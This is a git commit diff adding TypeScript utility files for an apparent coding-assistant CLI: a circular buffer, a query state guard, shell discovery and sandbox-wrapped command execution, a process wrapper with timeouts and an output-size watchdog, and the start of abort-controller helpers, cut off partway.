chore: initialize recovered claude workspace

This commit is contained in:
2026-04-02 15:29:01 +08:00
commit a10efa3b4b
1940 changed files with 506426 additions and 0 deletions

View File

@@ -0,0 +1,84 @@
/**
* A fixed-size circular buffer that automatically evicts the oldest items
* when the buffer is full. Useful for maintaining a rolling window of data.
*/
export class CircularBuffer<T> {
private buffer: T[]
private head = 0
private size = 0
constructor(private capacity: number) {
this.buffer = new Array(capacity)
}
/**
* Add an item to the buffer. If the buffer is full,
* the oldest item will be evicted.
*/
add(item: T): void {
this.buffer[this.head] = item
this.head = (this.head + 1) % this.capacity
if (this.size < this.capacity) {
this.size++
}
}
/**
* Add multiple items to the buffer at once.
*/
addAll(items: T[]): void {
for (const item of items) {
this.add(item)
}
}
/**
* Get the most recent N items from the buffer.
* Returns fewer items if the buffer contains less than N items.
*/
getRecent(count: number): T[] {
const result: T[] = []
const start = this.size < this.capacity ? 0 : this.head
const available = Math.min(count, this.size)
for (let i = 0; i < available; i++) {
const index = (start + this.size - available + i) % this.capacity
result.push(this.buffer[index]!)
}
return result
}
/**
* Get all items currently in the buffer, in order from oldest to newest.
*/
toArray(): T[] {
if (this.size === 0) return []
const result: T[] = []
const start = this.size < this.capacity ? 0 : this.head
for (let i = 0; i < this.size; i++) {
const index = (start + i) % this.capacity
result.push(this.buffer[index]!)
}
return result
}
/**
* Clear all items from the buffer.
*/
clear(): void {
this.buffer.length = 0
this.head = 0
this.size = 0
}
/**
* Get the current number of items in the buffer.
*/
length(): number {
return this.size
}
}

1530
src/utils/Cursor.ts Normal file

File diff suppressed because it is too large Load Diff

121
src/utils/QueryGuard.ts Normal file
View File

@@ -0,0 +1,121 @@
/**
* Synchronous state machine for the query lifecycle, compatible with
* React's `useSyncExternalStore`.
*
* Three states:
* idle → no query, safe to dequeue and process
* dispatching → an item was dequeued, async chain hasn't reached onQuery yet
* running → onQuery called tryStart(), query is executing
*
* Transitions:
* idle → dispatching (reserve)
* dispatching → running (tryStart)
* idle → running (tryStart, for direct user submissions)
* running → idle (end / forceEnd)
* dispatching → idle (cancelReservation, when processQueueIfReady fails)
*
* `isActive` returns true for both dispatching and running, preventing
* re-entry from the queue processor during the async gap.
*
* Usage with React:
* const queryGuard = useRef(new QueryGuard()).current
* const isQueryActive = useSyncExternalStore(
* queryGuard.subscribe,
* queryGuard.getSnapshot,
* )
*/
import { createSignal } from './signal.js'
export class QueryGuard {
private _status: 'idle' | 'dispatching' | 'running' = 'idle'
private _generation = 0
private _changed = createSignal()
/**
* Reserve the guard for queue processing. Transitions idle → dispatching.
* Returns false if not idle (another query or dispatch in progress).
*/
reserve(): boolean {
if (this._status !== 'idle') return false
this._status = 'dispatching'
this._notify()
return true
}
/**
* Cancel a reservation when processQueueIfReady had nothing to process.
* Transitions dispatching → idle.
*/
cancelReservation(): void {
if (this._status !== 'dispatching') return
this._status = 'idle'
this._notify()
}
/**
* Start a query. Returns the generation number on success,
* or null if a query is already running (concurrent guard).
* Accepts transitions from both idle (direct user submit)
* and dispatching (queue processor path).
*/
tryStart(): number | null {
if (this._status === 'running') return null
this._status = 'running'
++this._generation
this._notify()
return this._generation
}
/**
* End a query. Returns true if this generation is still current
* (meaning the caller should perform cleanup). Returns false if a
* newer query has started (stale finally block from a cancelled query).
*/
end(generation: number): boolean {
if (this._generation !== generation) return false
if (this._status !== 'running') return false
this._status = 'idle'
this._notify()
return true
}
/**
* Force-end the current query regardless of generation.
* Used by onCancel where any running query should be terminated.
* Increments generation so stale finally blocks from the cancelled
* query's promise rejection will see a mismatch and skip cleanup.
*/
forceEnd(): void {
if (this._status === 'idle') return
this._status = 'idle'
++this._generation
this._notify()
}
/**
* Is the guard active (dispatching or running)?
* Always synchronous — not subject to React state batching delays.
*/
get isActive(): boolean {
return this._status !== 'idle'
}
get generation(): number {
return this._generation
}
// --
// useSyncExternalStore interface
/** Subscribe to state changes. Stable reference — safe as useEffect dep. */
subscribe = this._changed.subscribe
/** Snapshot for useSyncExternalStore. Returns `isActive`. */
getSnapshot = (): boolean => {
return this._status !== 'idle'
}
private _notify(): void {
this._changed.emit()
}
}

474
src/utils/Shell.ts Normal file
View File

@@ -0,0 +1,474 @@
import { execFileSync, spawn } from 'child_process'
import { constants as fsConstants, readFileSync, unlinkSync } from 'fs'
import { type FileHandle, mkdir, open, realpath } from 'fs/promises'
import memoize from 'lodash-es/memoize.js'
import { isAbsolute, resolve } from 'path'
import { join as posixJoin } from 'path/posix'
import { logEvent } from 'src/services/analytics/index.js'
import {
getOriginalCwd,
getSessionId,
setCwdState,
} from '../bootstrap/state.js'
import { generateTaskId } from '../Task.js'
import { pwd } from './cwd.js'
import { logForDebugging } from './debug.js'
import { errorMessage, isENOENT } from './errors.js'
import { getFsImplementation } from './fsOperations.js'
import { logError } from './log.js'
import {
createAbortedCommand,
createFailedCommand,
type ShellCommand,
wrapSpawn,
} from './ShellCommand.js'
import { getTaskOutputDir } from './task/diskOutput.js'
import { TaskOutput } from './task/TaskOutput.js'
import { which } from './which.js'
export type { ExecResult } from './ShellCommand.js'
import { accessSync } from 'fs'
import { onCwdChangedForHooks } from './hooks/fileChangedWatcher.js'
import { getClaudeTempDirName } from './permissions/filesystem.js'
import { getPlatform } from './platform.js'
import { SandboxManager } from './sandbox/sandbox-adapter.js'
import { invalidateSessionEnvCache } from './sessionEnvironment.js'
import { createBashShellProvider } from './shell/bashProvider.js'
import { getCachedPowerShellPath } from './shell/powershellDetection.js'
import { createPowerShellProvider } from './shell/powershellProvider.js'
import type { ShellProvider, ShellType } from './shell/shellProvider.js'
import { subprocessEnv } from './subprocessEnv.js'
import { posixPathToWindowsPath } from './windowsPaths.js'
const DEFAULT_TIMEOUT = 30 * 60 * 1000 // 30 minutes
export type ShellConfig = {
provider: ShellProvider
}
function isExecutable(shellPath: string): boolean {
try {
accessSync(shellPath, fsConstants.X_OK)
return true
} catch (_err) {
// Fallback for Nix and other environments where X_OK check might fail
try {
// Try to execute the shell with --version, which should exit quickly
// Use execFileSync to avoid shell injection vulnerabilities
execFileSync(shellPath, ['--version'], {
timeout: 1000,
stdio: 'ignore',
})
return true
} catch {
return false
}
}
}
/**
* Determines the best available shell to use.
*/
export async function findSuitableShell(): Promise<string> {
// Check for explicit shell override first
const shellOverride = process.env.CLAUDE_CODE_SHELL
if (shellOverride) {
// Validate it's a supported shell type
const isSupported =
shellOverride.includes('bash') || shellOverride.includes('zsh')
if (isSupported && isExecutable(shellOverride)) {
logForDebugging(`Using shell override: ${shellOverride}`)
return shellOverride
} else {
// Note, if we ever want to add support for new shells here we'll need to update or Bash tool parsing to account for this
logForDebugging(
`CLAUDE_CODE_SHELL="${shellOverride}" is not a valid bash/zsh path, falling back to detection`,
)
}
}
// Check user's preferred shell from environment
const env_shell = process.env.SHELL
// Only consider SHELL if it's bash or zsh
const isEnvShellSupported =
env_shell && (env_shell.includes('bash') || env_shell.includes('zsh'))
const preferBash = env_shell?.includes('bash')
// Try to locate shells using which (uses Bun.which when available)
const [zshPath, bashPath] = await Promise.all([which('zsh'), which('bash')])
// Populate shell paths from which results and fallback locations
const shellPaths = ['/bin', '/usr/bin', '/usr/local/bin', '/opt/homebrew/bin']
// Order shells based on user preference
const shellOrder = preferBash ? ['bash', 'zsh'] : ['zsh', 'bash']
const supportedShells = shellOrder.flatMap(shell =>
shellPaths.map(path => `${path}/${shell}`),
)
// Add discovered paths to the beginning of our search list
// Put the user's preferred shell type first
if (preferBash) {
if (bashPath) supportedShells.unshift(bashPath)
if (zshPath) supportedShells.push(zshPath)
} else {
if (zshPath) supportedShells.unshift(zshPath)
if (bashPath) supportedShells.push(bashPath)
}
// Always prioritize SHELL env variable if it's a supported shell type
if (isEnvShellSupported && isExecutable(env_shell)) {
supportedShells.unshift(env_shell)
}
const shellPath = supportedShells.find(shell => shell && isExecutable(shell))
// If no valid shell found, throw a helpful error
if (!shellPath) {
const errorMsg =
'No suitable shell found. Claude CLI requires a Posix shell environment. ' +
'Please ensure you have a valid shell installed and the SHELL environment variable set.'
logError(new Error(errorMsg))
throw new Error(errorMsg)
}
return shellPath
}
async function getShellConfigImpl(): Promise<ShellConfig> {
const binShell = await findSuitableShell()
const provider = await createBashShellProvider(binShell)
return { provider }
}
// Memoize the entire shell config so it only happens once per session
export const getShellConfig = memoize(getShellConfigImpl)
export const getPsProvider = memoize(async (): Promise<ShellProvider> => {
const psPath = await getCachedPowerShellPath()
if (!psPath) {
throw new Error('PowerShell is not available')
}
return createPowerShellProvider(psPath)
})
const resolveProvider: Record<ShellType, () => Promise<ShellProvider>> = {
bash: async () => (await getShellConfig()).provider,
powershell: getPsProvider,
}
export type ExecOptions = {
timeout?: number
onProgress?: (
lastLines: string,
allLines: string,
totalLines: number,
totalBytes: number,
isIncomplete: boolean,
) => void
preventCwdChanges?: boolean
shouldUseSandbox?: boolean
shouldAutoBackground?: boolean
/** When provided, stdout is piped (not sent to file) and this callback fires on each data chunk. */
onStdout?: (data: string) => void
}
/**
* Execute a shell command using the environment snapshot
* Creates a new shell process for each command execution
*/
export async function exec(
command: string,
abortSignal: AbortSignal,
shellType: ShellType,
options?: ExecOptions,
): Promise<ShellCommand> {
const {
timeout,
onProgress,
preventCwdChanges,
shouldUseSandbox,
shouldAutoBackground,
onStdout,
} = options ?? {}
const commandTimeout = timeout || DEFAULT_TIMEOUT
const provider = await resolveProvider[shellType]()
const id = Math.floor(Math.random() * 0x10000)
.toString(16)
.padStart(4, '0')
// Sandbox temp directory - use per-user directory name to prevent multi-user permission conflicts
const sandboxTmpDir = posixJoin(
process.env.CLAUDE_CODE_TMPDIR || '/tmp',
getClaudeTempDirName(),
)
const { commandString: builtCommand, cwdFilePath } =
await provider.buildExecCommand(command, {
id,
sandboxTmpDir: shouldUseSandbox ? sandboxTmpDir : undefined,
useSandbox: shouldUseSandbox ?? false,
})
let commandString = builtCommand
let cwd = pwd()
// Recover if the current working directory no longer exists on disk.
// This can happen when a command deletes its own CWD (e.g., temp dir cleanup).
try {
await realpath(cwd)
} catch {
const fallback = getOriginalCwd()
logForDebugging(
`Shell CWD "${cwd}" no longer exists, recovering to "${fallback}"`,
)
try {
await realpath(fallback)
setCwdState(fallback)
cwd = fallback
} catch {
return createFailedCommand(
`Working directory "${cwd}" no longer exists. Please restart Claude from an existing directory.`,
)
}
}
// If already aborted, don't spawn the process at all
if (abortSignal.aborted) {
return createAbortedCommand()
}
const binShell = provider.shellPath
// Sandboxed PowerShell: wrapWithSandbox hardcodes `<binShell> -c '<cmd>'` —
// using pwsh there would lose -NoProfile -NonInteractive (profile load
// inside sandbox → delays, stray output, may hang on prompts). Instead:
// • powershellProvider.buildExecCommand (useSandbox) pre-wraps as
// `pwsh -NoProfile -NonInteractive -EncodedCommand <base64>` — base64
// survives the runtime's shellquote.quote() layer
// • pass /bin/sh as the sandbox's inner shell to exec that invocation
// • outer spawn is also /bin/sh -c to parse the runtime's POSIX output
// /bin/sh exists on every platform where sandbox is supported.
const isSandboxedPowerShell = shouldUseSandbox && shellType === 'powershell'
const sandboxBinShell = isSandboxedPowerShell ? '/bin/sh' : binShell
if (shouldUseSandbox) {
commandString = await SandboxManager.wrapWithSandbox(
commandString,
sandboxBinShell,
undefined,
abortSignal,
)
// Create sandbox temp directory for sandboxed processes with secure permissions
try {
const fs = getFsImplementation()
await fs.mkdir(sandboxTmpDir, { mode: 0o700 })
} catch (error) {
logForDebugging(`Failed to create ${sandboxTmpDir} directory: ${error}`)
}
}
const spawnBinary = isSandboxedPowerShell ? '/bin/sh' : binShell
const shellArgs = isSandboxedPowerShell
? ['-c', commandString]
: provider.getSpawnArgs(commandString)
const envOverrides = await provider.getEnvironmentOverrides(command)
// When onStdout is provided, use pipe mode: stdout flows through
// StreamWrapper → TaskOutput in-memory buffer instead of a file fd.
// This lets callers receive real-time stdout callbacks.
const usePipeMode = !!onStdout
const taskId = generateTaskId('local_bash')
const taskOutput = new TaskOutput(taskId, onProgress ?? null, !usePipeMode)
await mkdir(getTaskOutputDir(), { recursive: true })
// In file mode, both stdout and stderr go to the same file fd.
// On POSIX, O_APPEND makes each write atomic (seek-to-end + write), so
// stdout and stderr are interleaved chronologically without tearing.
// On Windows, 'a' mode strips FILE_WRITE_DATA (only grants FILE_APPEND_DATA)
// via libuv's fs__open. MSYS2/Cygwin probes inherited handles with
// NtQueryInformationFile(FileAccessInformation) and treats handles without
// FILE_WRITE_DATA as read-only, silently discarding all output. Using 'w'
// grants FILE_GENERIC_WRITE. Atomicity is preserved because duplicated
// handles share the same FILE_OBJECT with FILE_SYNCHRONOUS_IO_NONALERT,
// which serializes all I/O through a single kernel lock.
// SECURITY: O_NOFOLLOW prevents symlink-following attacks from the sandbox.
// On Windows, use string flags — numeric flags can produce EINVAL through libuv.
let outputHandle: FileHandle | undefined
if (!usePipeMode) {
const O_NOFOLLOW = fsConstants.O_NOFOLLOW ?? 0
outputHandle = await open(
taskOutput.path,
process.platform === 'win32'
? 'w'
: fsConstants.O_WRONLY |
fsConstants.O_CREAT |
fsConstants.O_APPEND |
O_NOFOLLOW,
)
}
try {
const childProcess = spawn(spawnBinary, shellArgs, {
env: {
...subprocessEnv(),
SHELL: shellType === 'bash' ? binShell : undefined,
GIT_EDITOR: 'true',
CLAUDECODE: '1',
...envOverrides,
...(process.env.USER_TYPE === 'ant'
? {
CLAUDE_CODE_SESSION_ID: getSessionId(),
}
: {}),
},
cwd,
stdio: usePipeMode
? ['pipe', 'pipe', 'pipe']
: ['pipe', outputHandle?.fd, outputHandle?.fd],
// Don't pass the signal - we'll handle termination ourselves with tree-kill
detached: provider.detached,
// Prevent visible console window on Windows (no-op on other platforms)
windowsHide: true,
})
const shellCommand = wrapSpawn(
childProcess,
abortSignal,
commandTimeout,
taskOutput,
shouldAutoBackground,
)
// Close our copy of the fd — the child has its own dup.
// Must happen after wrapSpawn attaches 'error' listener, since the await
// yields and the child's ENOENT 'error' event can fire in that window.
// Wrapped in its own try/catch so a close failure (e.g. EIO) doesn't fall
// through to the spawn-failure catch block, which would orphan the child.
if (outputHandle !== undefined) {
try {
await outputHandle.close()
} catch {
// fd may already be closed by the child; safe to ignore
}
}
// In pipe mode, attach the caller's callbacks alongside StreamWrapper.
// Both listeners receive the same data chunks (Node.js ReadableStream supports
// multiple 'data' listeners). StreamWrapper feeds TaskOutput for persistence;
// these callbacks give the caller real-time access.
if (childProcess.stdout && onStdout) {
childProcess.stdout.on('data', (chunk: string | Buffer) => {
onStdout(typeof chunk === 'string' ? chunk : chunk.toString())
})
}
// Attach cleanup to the command result
// NOTE: readFileSync/unlinkSync are intentional here — these must complete
// synchronously within the .then() microtask so that callers who
// `await shellCommand.result` see the updated cwd immediately after.
// Using async readFile would introduce a microtask boundary, causing
// a race where cwd hasn't been updated yet when the caller continues.
// On Windows, cwdFilePath is a POSIX path (for bash's `pwd -P >| $path`),
// but Node.js needs a native Windows path for readFileSync/unlinkSync.
// Similarly, `pwd -P` outputs a POSIX path that must be converted before setCwd.
const nativeCwdFilePath =
getPlatform() === 'windows'
? posixPathToWindowsPath(cwdFilePath)
: cwdFilePath
void shellCommand.result.then(async result => {
// On Linux, bwrap creates 0-byte mount-point files on the host to deny
// writes to non-existent paths (.bashrc, HEAD, etc.). These persist after
// bwrap exits as ghost dotfiles in cwd. Cleanup is synchronous and a no-op
// on macOS. Keep before any await so callers awaiting .result see a clean
// working tree in the same microtask.
if (shouldUseSandbox) {
SandboxManager.cleanupAfterCommand()
}
// Only foreground tasks update the cwd
if (result && !preventCwdChanges && !result.backgroundTaskId) {
try {
let newCwd = readFileSync(nativeCwdFilePath, {
encoding: 'utf8',
}).trim()
if (getPlatform() === 'windows') {
newCwd = posixPathToWindowsPath(newCwd)
}
// cwd is NFC-normalized (setCwdState); newCwd from `pwd -P` may be
// NFD on macOS APFS. Normalize before comparing so Unicode paths
// don't false-positive as "changed" on every command.
if (newCwd.normalize('NFC') !== cwd) {
setCwd(newCwd, cwd)
invalidateSessionEnvCache()
void onCwdChangedForHooks(cwd, newCwd)
}
} catch {
logEvent('tengu_shell_set_cwd', { success: false })
}
}
// Clean up the temp file used for cwd tracking
try {
unlinkSync(nativeCwdFilePath)
} catch {
// File may not exist if command failed before pwd -P ran
}
})
return shellCommand
} catch (error) {
// Close the fd if spawn failed (child never got its dup)
if (outputHandle !== undefined) {
try {
await outputHandle.close()
} catch {
// May already be closed
}
}
taskOutput.clear()
logForDebugging(`Shell exec error: ${errorMessage(error)}`)
return createAbortedCommand(undefined, {
code: 126, // Standard Unix code for execution errors
stderr: errorMessage(error),
})
}
}
/**
* Set the current working directory
*/
export function setCwd(path: string, relativeTo?: string): void {
const resolved = isAbsolute(path)
? path
: resolve(relativeTo || getFsImplementation().cwd(), path)
// Resolve symlinks to match the behavior of pwd -P.
// realpathSync throws ENOENT if the path doesn't exist - convert to a
// friendlier error message instead of a separate existsSync pre-check (TOCTOU).
let physicalPath: string
try {
physicalPath = getFsImplementation().realpathSync(resolved)
} catch (e) {
if (isENOENT(e)) {
throw new Error(`Path "${resolved}" does not exist`)
}
throw e
}
setCwdState(physicalPath)
if (process.env.NODE_ENV !== 'test') {
try {
logEvent('tengu_shell_set_cwd', {
success: true,
})
} catch (_error) {
// Ignore logging errors to prevent test failures
}
}
}

465
src/utils/ShellCommand.ts Normal file
View File

@@ -0,0 +1,465 @@
import type { ChildProcess } from 'child_process'
import { stat } from 'fs/promises'
import type { Readable } from 'stream'
import treeKill from 'tree-kill'
import { generateTaskId } from '../Task.js'
import { formatDuration } from './format.js'
import {
MAX_TASK_OUTPUT_BYTES,
MAX_TASK_OUTPUT_BYTES_DISPLAY,
} from './task/diskOutput.js'
import { TaskOutput } from './task/TaskOutput.js'
export type ExecResult = {
stdout: string
stderr: string
code: number
interrupted: boolean
backgroundTaskId?: string
backgroundedByUser?: boolean
/** Set when assistant-mode auto-backgrounded a long-running blocking command. */
assistantAutoBackgrounded?: boolean
/** Set when stdout was too large to fit inline — points to the output file on disk. */
outputFilePath?: string
/** Total size of the output file in bytes (set when outputFilePath is set). */
outputFileSize?: number
/** The task ID for the output file (set when outputFilePath is set). */
outputTaskId?: string
/** Error message when the command failed before spawning (e.g., deleted cwd). */
preSpawnError?: string
}
export type ShellCommand = {
background: (backgroundTaskId: string) => boolean
result: Promise<ExecResult>
kill: () => void
status: 'running' | 'backgrounded' | 'completed' | 'killed'
/**
* Cleans up stream resources (event listeners).
* Should be called after the command completes or is killed to prevent memory leaks.
*/
cleanup: () => void
onTimeout?: (
callback: (backgroundFn: (taskId: string) => boolean) => void,
) => void
/** The TaskOutput instance that owns all stdout/stderr data and progress. */
taskOutput: TaskOutput
}
const SIGKILL = 137
const SIGTERM = 143
// Background tasks write stdout/stderr directly to a file fd (no JS involvement),
// so a stuck append loop can fill the disk. Poll file size and kill when exceeded.
const SIZE_WATCHDOG_INTERVAL_MS = 5_000
function prependStderr(prefix: string, stderr: string): string {
return stderr ? `${prefix} ${stderr}` : prefix
}
/**
* Thin pipe from a child process stream into TaskOutput.
* Used in pipe mode (hooks) for stdout and stderr.
* In file mode (bash commands), both fds go to the output file —
* the child process streams are null and no wrappers are created.
*/
class StreamWrapper {
#stream: Readable | null
#isCleanedUp = false
#taskOutput: TaskOutput | null
#isStderr: boolean
#onData = this.#dataHandler.bind(this)
constructor(stream: Readable, taskOutput: TaskOutput, isStderr: boolean) {
this.#stream = stream
this.#taskOutput = taskOutput
this.#isStderr = isStderr
// Emit strings instead of Buffers - avoids repeated .toString() calls
stream.setEncoding('utf-8')
stream.on('data', this.#onData)
}
#dataHandler(data: Buffer | string): void {
const str = typeof data === 'string' ? data : data.toString()
if (this.#isStderr) {
this.#taskOutput!.writeStderr(str)
} else {
this.#taskOutput!.writeStdout(str)
}
}
cleanup(): void {
if (this.#isCleanedUp) {
return
}
this.#isCleanedUp = true
this.#stream!.removeListener('data', this.#onData)
// Release references so the stream, its StringDecoder, and
// the TaskOutput can be GC'd independently of this wrapper.
this.#stream = null
this.#taskOutput = null
this.#onData = () => {}
}
}
/**
* Implementation of ShellCommand that wraps a child process.
*
* For bash commands: both stdout and stderr go to a file fd via
* stdio[1] and stdio[2] — no JS involvement. Progress is extracted
* by polling the file tail.
* For hooks: pipe mode with StreamWrappers for real-time detection.
*/
class ShellCommandImpl implements ShellCommand {
#status: 'running' | 'backgrounded' | 'completed' | 'killed' = 'running'
#backgroundTaskId: string | undefined
#stdoutWrapper: StreamWrapper | null
#stderrWrapper: StreamWrapper | null
#childProcess: ChildProcess
#timeoutId: NodeJS.Timeout | null = null
#sizeWatchdog: NodeJS.Timeout | null = null
#killedForSize = false
#maxOutputBytes: number
#abortSignal: AbortSignal
#onTimeoutCallback:
| ((backgroundFn: (taskId: string) => boolean) => void)
| undefined
#timeout: number
#shouldAutoBackground: boolean
#resultResolver: ((result: ExecResult) => void) | null = null
#exitCodeResolver: ((code: number) => void) | null = null
#boundAbortHandler: (() => void) | null = null
readonly taskOutput: TaskOutput
static #handleTimeout(self: ShellCommandImpl): void {
if (self.#shouldAutoBackground && self.#onTimeoutCallback) {
self.#onTimeoutCallback(self.background.bind(self))
} else {
self.#doKill(SIGTERM)
}
}
readonly result: Promise<ExecResult>
readonly onTimeout?: (
callback: (backgroundFn: (taskId: string) => boolean) => void,
) => void
constructor(
childProcess: ChildProcess,
abortSignal: AbortSignal,
timeout: number,
taskOutput: TaskOutput,
shouldAutoBackground = false,
maxOutputBytes = MAX_TASK_OUTPUT_BYTES,
) {
this.#childProcess = childProcess
this.#abortSignal = abortSignal
this.#timeout = timeout
this.#shouldAutoBackground = shouldAutoBackground
this.#maxOutputBytes = maxOutputBytes
this.taskOutput = taskOutput
// In file mode (bash commands), both stdout and stderr go to the
// output file fd — childProcess.stdout/.stderr are both null.
// In pipe mode (hooks), wrap streams to funnel data into TaskOutput.
this.#stderrWrapper = childProcess.stderr
? new StreamWrapper(childProcess.stderr, taskOutput, true)
: null
this.#stdoutWrapper = childProcess.stdout
? new StreamWrapper(childProcess.stdout, taskOutput, false)
: null
if (shouldAutoBackground) {
this.onTimeout = (callback): void => {
this.#onTimeoutCallback = callback
}
}
this.result = this.#createResultPromise()
}
get status(): 'running' | 'backgrounded' | 'completed' | 'killed' {
return this.#status
}
#abortHandler(): void {
// On 'interrupt' (user submitted a new message), don't kill — let the
// caller background the process so the model can see partial output.
if (this.#abortSignal.reason === 'interrupt') {
return
}
this.kill()
}
#exitHandler(code: number | null, signal: NodeJS.Signals | null): void {
const exitCode =
code !== null && code !== undefined
? code
: signal === 'SIGTERM'
? 144
: 1
this.#resolveExitCode(exitCode)
}
#errorHandler(): void {
this.#resolveExitCode(1)
}
#resolveExitCode(code: number): void {
if (this.#exitCodeResolver) {
this.#exitCodeResolver(code)
this.#exitCodeResolver = null
}
}
// Note: exit/error listeners are NOT removed here — they're needed for
// the result promise to resolve. They clean up when the child process exits.
#cleanupListeners(): void {
this.#clearSizeWatchdog()
const timeoutId = this.#timeoutId
if (timeoutId) {
clearTimeout(timeoutId)
this.#timeoutId = null
}
const boundAbortHandler = this.#boundAbortHandler
if (boundAbortHandler) {
this.#abortSignal.removeEventListener('abort', boundAbortHandler)
this.#boundAbortHandler = null
}
}
#clearSizeWatchdog(): void {
if (this.#sizeWatchdog) {
clearInterval(this.#sizeWatchdog)
this.#sizeWatchdog = null
}
}
#startSizeWatchdog(): void {
this.#sizeWatchdog = setInterval(() => {
void stat(this.taskOutput.path).then(
s => {
// Bail if the watchdog was cleared while this stat was in flight
// (process exited on its own) — otherwise we'd mislabel stderr.
if (
s.size > this.#maxOutputBytes &&
this.#status === 'backgrounded' &&
this.#sizeWatchdog !== null
) {
this.#killedForSize = true
this.#clearSizeWatchdog()
this.#doKill(SIGKILL)
}
},
() => {
// ENOENT before first write, or unlinked mid-run — skip this tick
},
)
}, SIZE_WATCHDOG_INTERVAL_MS)
this.#sizeWatchdog.unref()
}
#createResultPromise(): Promise<ExecResult> {
this.#boundAbortHandler = this.#abortHandler.bind(this)
this.#abortSignal.addEventListener('abort', this.#boundAbortHandler, {
once: true,
})
// Use 'exit' not 'close': 'close' waits for stdio to close, which includes
// grandchild processes that inherit file descriptors (e.g. `sleep 30 &`).
// 'exit' fires when the shell itself exits, returning control immediately.
this.#childProcess.once('exit', this.#exitHandler.bind(this))
this.#childProcess.once('error', this.#errorHandler.bind(this))
this.#timeoutId = setTimeout(
ShellCommandImpl.#handleTimeout,
this.#timeout,
this,
) as NodeJS.Timeout
const exitPromise = new Promise<number>(resolve => {
this.#exitCodeResolver = resolve
})
return new Promise<ExecResult>(resolve => {
this.#resultResolver = resolve
void exitPromise.then(this.#handleExit.bind(this))
})
}
async #handleExit(code: number): Promise<void> {
this.#cleanupListeners()
if (this.#status === 'running' || this.#status === 'backgrounded') {
this.#status = 'completed'
}
const stdout = await this.taskOutput.getStdout()
const result: ExecResult = {
code,
stdout,
stderr: this.taskOutput.getStderr(),
interrupted: code === SIGKILL,
backgroundTaskId: this.#backgroundTaskId,
}
if (this.taskOutput.stdoutToFile && !this.#backgroundTaskId) {
if (this.taskOutput.outputFileRedundant) {
// Small file — full content is in result.stdout, delete the file
void this.taskOutput.deleteOutputFile()
} else {
// Large file — tell the caller where the full output lives
result.outputFilePath = this.taskOutput.path
result.outputFileSize = this.taskOutput.outputFileSize
result.outputTaskId = this.taskOutput.taskId
}
}
if (this.#killedForSize) {
result.stderr = prependStderr(
`Background command killed: output file exceeded ${MAX_TASK_OUTPUT_BYTES_DISPLAY}`,
result.stderr,
)
} else if (code === SIGTERM) {
result.stderr = prependStderr(
`Command timed out after ${formatDuration(this.#timeout)}`,
result.stderr,
)
}
const resultResolver = this.#resultResolver
if (resultResolver) {
this.#resultResolver = null
resultResolver(result)
}
}
#doKill(code?: number): void {
this.#status = 'killed'
if (this.#childProcess.pid) {
treeKill(this.#childProcess.pid, 'SIGKILL')
}
this.#resolveExitCode(code ?? SIGKILL)
}
kill(): void {
this.#doKill()
}
background(taskId: string): boolean {
if (this.#status === 'running') {
this.#backgroundTaskId = taskId
this.#status = 'backgrounded'
this.#cleanupListeners()
if (this.taskOutput.stdoutToFile) {
// File mode: child writes directly to the fd with no JS involvement.
// The foreground timeout is gone, so watch file size to prevent
// a stuck append loop from filling the disk (768GB incident).
this.#startSizeWatchdog()
} else {
// Pipe mode: spill the in-memory buffer so readers can find it on disk.
this.taskOutput.spillToDisk()
}
return true
}
return false
}
cleanup(): void {
this.#stdoutWrapper?.cleanup()
this.#stderrWrapper?.cleanup()
this.taskOutput.clear()
// Must run before nulling #abortSignal — #cleanupListeners() calls
// removeEventListener on it. Without this, a kill()+cleanup() sequence
// crashes: kill() queues #handleExit as a microtask, cleanup() nulls
// #abortSignal, then #handleExit runs #cleanupListeners() on the null ref.
this.#cleanupListeners()
// Release references to allow GC of ChildProcess internals and AbortController chain
this.#childProcess = null!
this.#abortSignal = null!
this.#onTimeoutCallback = undefined
}
}
/**
* Wraps a child process to enable flexible handling of shell command execution.
*/
export function wrapSpawn(
childProcess: ChildProcess,
abortSignal: AbortSignal,
timeout: number,
taskOutput: TaskOutput,
shouldAutoBackground = false,
maxOutputBytes = MAX_TASK_OUTPUT_BYTES,
): ShellCommand {
return new ShellCommandImpl(
childProcess,
abortSignal,
timeout,
taskOutput,
shouldAutoBackground,
maxOutputBytes,
)
}
/**
* Static ShellCommand implementation for commands that were aborted before execution.
*/
class AbortedShellCommand implements ShellCommand {
readonly status = 'killed' as const
readonly result: Promise<ExecResult>
readonly taskOutput: TaskOutput
constructor(opts?: {
backgroundTaskId?: string
stderr?: string
code?: number
}) {
this.taskOutput = new TaskOutput(generateTaskId('local_bash'), null)
this.result = Promise.resolve({
code: opts?.code ?? 145,
stdout: '',
stderr: opts?.stderr ?? 'Command aborted before execution',
interrupted: true,
backgroundTaskId: opts?.backgroundTaskId,
})
}
background(): boolean {
return false
}
kill(): void {}
cleanup(): void {}
}
export function createAbortedCommand(
backgroundTaskId?: string,
opts?: { stderr?: string; code?: number },
): ShellCommand {
return new AbortedShellCommand({
backgroundTaskId,
...opts,
})
}
export function createFailedCommand(preSpawnError: string): ShellCommand {
const taskOutput = new TaskOutput(generateTaskId('local_bash'), null)
return {
status: 'completed' as const,
result: Promise.resolve({
code: 1,
stdout: '',
stderr: preSpawnError,
interrupted: false,
preSpawnError,
}),
taskOutput,
background(): boolean {
return false
},
kill(): void {},
cleanup(): void {},
}
}

View File

@@ -0,0 +1,99 @@
import { setMaxListeners } from 'events'
/**
* Default max listeners for standard operations
*/
const DEFAULT_MAX_LISTENERS = 50
/**
* Creates an AbortController with proper event listener limits set.
* This prevents MaxListenersExceededWarning when multiple listeners
* are attached to the abort signal.
*
* @param maxListeners - Maximum number of listeners (default: 50)
* @returns AbortController with configured listener limit
*/
export function createAbortController(
maxListeners: number = DEFAULT_MAX_LISTENERS,
): AbortController {
const controller = new AbortController()
setMaxListeners(maxListeners, controller.signal)
return controller
}
/**
* Propagates abort from a parent to a weakly-referenced child controller.
* Both parent and child are weakly held — neither direction creates a
* strong reference that could prevent GC.
* Module-scope function avoids per-call closure allocation.
*/
function propagateAbort(
this: WeakRef<AbortController>,
weakChild: WeakRef<AbortController>,
): void {
const parent = this.deref()
weakChild.deref()?.abort(parent?.signal.reason)
}
/**
* Removes an abort handler from a weakly-referenced parent signal.
* Both parent and handler are weakly held — if either has been GC'd
* or the parent already aborted ({once: true}), this is a no-op.
* Module-scope function avoids per-call closure allocation.
*/
function removeAbortHandler(
this: WeakRef<AbortController>,
weakHandler: WeakRef<(...args: unknown[]) => void>,
): void {
const parent = this.deref()
const handler = weakHandler.deref()
if (parent && handler) {
parent.signal.removeEventListener('abort', handler)
}
}
/**
* Creates a child AbortController that aborts when its parent aborts.
